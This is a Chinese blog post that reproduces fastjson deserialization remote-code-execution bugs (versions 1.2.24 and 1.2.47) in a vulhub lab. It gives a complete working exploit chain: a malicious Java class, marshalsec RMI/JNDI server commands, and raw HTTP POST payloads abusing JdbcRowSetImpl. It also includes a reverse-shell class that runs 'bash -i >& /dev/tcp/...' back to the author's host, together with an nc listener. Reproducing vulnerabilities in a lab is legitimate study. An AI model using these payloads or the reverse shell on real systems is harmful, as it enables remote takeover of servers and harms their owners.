• fastjson漏洞复现


    简介

    漏洞环境:不另作说明均为vulhub

    菜鸟链接:https://www.runoob.com/w3cnote/fastjson-intro.html

    GitHub:https://github.com/alibaba/fastjson

    fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

    关于漏洞原理,这篇文章讲的挺好的:https://zhuanlan.zhihu.com/p/157211675?from_voters_page=true,复现时参考的文章也很不错。

    1.2.24-rce

    参考链接:

    https://blog.csdn.net/qq_44159028/article/details/112393935

    https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.24-rce/README.md

    https://blog.csdn.net/w1590191166/article/details/105016535

    https://www.freebuf.com/articles/web/258253.html

    影响版本:

    • fastjson <= 1.2.24

    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

    漏洞复现

    使用vulhub开启环境,成功后会开启8090端口,访问后结果如下说明搭建成功。

    在Linux系统下通过如下命令,发送一个JSON对象,更新服务端的信息。

    curl http://139.198.172.202:8090/ -H "Content-Type: application/json" --data '{"name":"xzc", "age":23}'
    

    不要使用Windows系统下自带的curl命令,因为会报错,我记得之前也遇到过。

    将下面代码内容(恶意类)保存为TouchFile.java文件(名字不能乱改)。

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"touch", "/tmp/success"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    

    编译生成.class文件。

    javac TouchFile.java
    

    d

    将生成的.class文件放置到云主机中,使用python3 -m http.server 9999命令,启动一个http服务。

    然后需要借助marshalsec项目,启动一个RMI服务器,用来指定加载远程类。

    项目地址:https://github.com/mbechler/marshalsec

    最终我们要是用的是其生成的marshalsec-0.0.3-SNAPSHOT-all.jar,自己生成略微麻烦,网上有现成的:https://github.com/zhzyker/exphub/blob/master/fastjson/marshalsec-0.0.3-SNAPSHOT-all.jar

    接下来在云主机上使用marshalsec-0.0.3-SNAPSHOT-all.jar来起一个RMI服务,监听6666端口。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://139.198.172.202:9999/#TouchFile" 6666
    

    e

    访问靶机地址,拦截抓包,将GET请求改为POST请求,提交攻击payload。

    POST / HTTP/1.1
    Host: 139.198.172.202:8090
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ECS[visit_times]=4; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; pma_iv-1=oGblD1Xgl1ZFrVI58W88SA%3D%3D; pmaUser-1=XlLtmUCDz5gzl%2FNz%2Fe7h1w%3D%3D
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 165
    
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://139.198.172.202:6666/TouchFile",
            "autoCommit":true
        }
    }
    

    点击发送,服务器响应如下:

    通过docker ps命令查看启动的容器id,通过docker exec -it 容器id /bin/bash进入容器。到/tmp目录下查看success文件是否被创建。

    http服务以及RMI服务的请求内容如下:

    其中,如果你的云主机的java版本较高,启动的RMI服务会有warning情况(可能会导致实验不成功),我的云主机java版本为jdk1.8.0_291

    k

    反弹shell:

    1. 生成恶意类
    // javac shell.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class shell {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/139.198.172.202/7777 0>&1"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    

    通过javac命令进行编译,生成shell.class

    1. 将生成的shell.class文件放置在http服务目录下,端口9999

    2. 启用RMI服务。

      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://139.198.172.202:9999/#shell" 6666
      

      #后面内容需要修改。

    3. 云主机监听7777端口,nc -lvp 7777

    4. 发送请求包内容:

      POST / HTTP/1.1
      Host: 139.198.172.202:8090
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Connection: close
      Cookie: ECS[visit_times]=4; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; pma_iv-1=oGblD1Xgl1ZFrVI58W88SA%3D%3D; pmaUser-1=XlLtmUCDz5gzl%2FNz%2Fe7h1w%3D%3D
      Upgrade-Insecure-Requests: 1
      Cache-Control: max-age=0
      Content-Type: application/json
      Content-Length: 163
      
      {
          "b":{
              "@type":"com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName":"rmi://139.198.172.202:6666/shell",
              "autoCommit":true
          }
      } 	
      
    5. 云主机接收到反弹的shell:

    漏洞修复

    参考链接:

    https://www.freebuf.com/vuls/178012.html

    还有就是升级版本咯。

    1.2.47-rce

    参考链接:

    https://blog.csdn.net/weixin_39190897/article/details/107284989

    我看这个漏洞跟1.2.24-rce漏洞的复现方法没啥区别啊,关于漏洞概述及修复方式参考上面链接。

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    STL函数对象和Lambda表达式
    STL算法之排序算法
    STL 算法
    STL源码剖析---根据最新版本的g++4.9.0(支持C++11)的修订(1)空间配置器
    STL Iterator的里里外外(一)?
    STL对比解说——关联容器
    Select单进程非阻塞TCP echo服务器
    TCP建立(3次握手)与终止(4次挥手)
    TIME_WAIT状态
    C标准I/O库
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14991631.html
Copyright © 2020-2023  润新知